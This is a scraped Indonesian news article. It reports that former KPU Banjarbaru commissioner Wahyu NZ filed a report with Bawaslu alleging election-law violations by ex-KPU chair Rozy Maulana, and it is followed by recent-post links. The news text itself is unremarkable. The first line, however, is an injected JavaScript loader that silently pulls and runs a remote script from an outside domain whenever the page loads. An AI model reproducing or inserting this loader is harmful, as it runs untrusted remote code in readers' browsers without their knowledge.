(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dugaan Pelanggaran Pemilu Mantan Ketua KPU Banjarbaru, Wahyu NZ Lapor ke Bawaslu


KANALKALIMANTAN.COM, BANJARBARU – Belum tuntas kasus hukum dugaan penipuan mantan Ketua Komisi Pemilhan Umum (KPU) Kota Banjarbaru Rozy Maulana di Kejari Tanah Bumbu (Tanbu), kasus dugaan pelanggaran Pemilu (Pemilihan Umum) menyusul dilaporkan ke Bawaslu Banjarbaru.

Berdalih belum ada tindak lanjut dari pihak penyelenggara Pemilu terkait ada dugaan pelanggaran Pemilu itu, Muhammad Wahyu NZ membuat laporan resmi ke Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru, Senin (5/8/2024) siang.

Dengan membawa laporan berjumlah 15 halaman, Wahyu NZ -mantan Komisioner KPU Banjarbaru- memberikan bukti pasal-pasal yang diduga dilanggar eks Ketua KPU Banjarbaru sebagai informasi awal kepada Bawaslu Banjarbaru.

Baca juga: Kejar Api, Mobil Kijang Damkar Nyebur Sungai di Jafri Zamzam 

Namun sebelum itu, secara prinsip Wahyu NZ menjelaskan, dengan sejumlah pemberitaan di media massa terkait kasus Rozy Maulana hingga informasi yang dirilis secara resmi melalui laman SIPP Pengadilan Negeri Batulicin Tanah Bumbu sudah patut disampaikan adanya dugaan pelanggaran.

“Saya sampaikan 30 berita dari media yang sudah menjadi konsumsi publik terkait informasi ini, kemudian informasi yang dirilis secara resmi oleh PN Batulicin terkait dengan barang bukti dengan dakwaan, dimana di situ bisa terlihat apa yang dilakukan, sehingga patut diduga melakukan pelanggaran. Lalu saya juga menyampaikan analisis saya pribadi atas apa yang terjadi,” ujar Muhammad Wahyu NZ yang datang langsung ke kantor Bawaslu Banjarbaru.

Komisioner KPU 2013-2018 ini menyebutkan sedikitnya ada 25 buah pasal yang diduga telah dilanggar oleh Rozy Maulana.

Diantaranya dugaan pelanggaran tersebut tertera pada pasal dalam Undang-Undang Nomor 7 Tahun 2017 tentang Pemilu, Peraturan DKPP Nomor 2 Tahun 2017 tentang Kode Etik dan Pedoman Perilaku Penyelenggara Pemilu. Serta ada Peraturan KPU Nomor 8 Tahun 2019 beserta perubahannya terkait dengan tata kerja KPU.

“Yang mana secara keseluruhan jumlah pasal yang saya duga dilanggar itu berjumlah 25 pasal, itu baru pasalnya belum ayatnya, belum uraian angka atau hurufnya,” ungkapnya.

Baca juga: PKB Patahkan Isu Batalkan Koalisi di Pilwali Banjarbaru, Dukung Penuh Aditya-Said Abdullah

“Saya menyampaikan informasi dugaan pelanggaran ini sebagai pribadi yang menjadi bagian dari masyarakat dan pemilih di Kota Banjarbaru. Saya memiliki hak yang sama dengan masyarakat untuk dilayani oleh lembaga penyelenggara Pemilu yang profesional,” jelas dia.

Untuk itu kata Wahyu, dirinya berharap Bawaslu Banjarbaru dapat bertindak profesional mengingat laporan yang dia berikan ini jauh lebih dari cukup sebagai informasi awal dugaan pelanggaran Pemilu.

“Dan tindak lanjut Bawaslu ini jelas di pasal 102 ayat (2) Nomor 7 tahun 2017 disebutkan salah satu tugas Bawaslu adalah menginvestigasi informasi awal dugaan pelanggaran Pemilu,” tegasnya.

Lebih jauh dirinya menegaskan bahwa pada prosesnya ia paham Bawaslu harus memutuskan melakui pleno terkait tindak lanjut dari laporan informasi awal ini.

“Maka kita tunggu apakah pleno Bawaslu akan memutuskan untuk menindaklanjuti atau tidak,” tandas Wahyu.

Terkait laporan dugaan pelanggaran Pemilu, Ketua Bawaslu Banjarbaru Nor Ikhsan menerima langsung berkas yang berisikan belasan halaman laporan informasi awal tersebut.

Baca juga: Gusti Rizky Digadang Ketua DPRD Banjarbaru 2024-2029

Ikhsan mengatakan, tiga komisioner Bawaslu Banjarbaru akan secepatnya mempelajari terlebih dahulu informasi awal yang telah disampaikan.

“Insya Allah secepatnya akan kita lakukan, kita pelajari, kita kaji hasil dari informasi awal ini, intinya di internal Bawaslu dulu nanti kita telusuri,” ujar Ketua Bawaslu Banjarbaru.

Dirinya menegaskan akan mempelajari sekaligus mengkaji isi di dalam laporan informasi awal tersebut dengan peraturan perundang-undangan. (Kanalkalimantan.com/wanda)

Reporter: Wanda
Editor: bie


Risa

Recent Posts

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

3 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

6 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

9 jam ago

KPK Panggil Sahbirin Noor Sebagai Saksi Hari Ini

KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More

9 jam ago

Donasi Palestina Pjs Wali Kota Banjarbaru di Stan Sekretariat DPRD

KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More

9 jam ago

27 Pelaku Usaha Diberi Penghargaan Taat Pengelolaan Lingkungan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More

10 jam ago

This website uses cookies.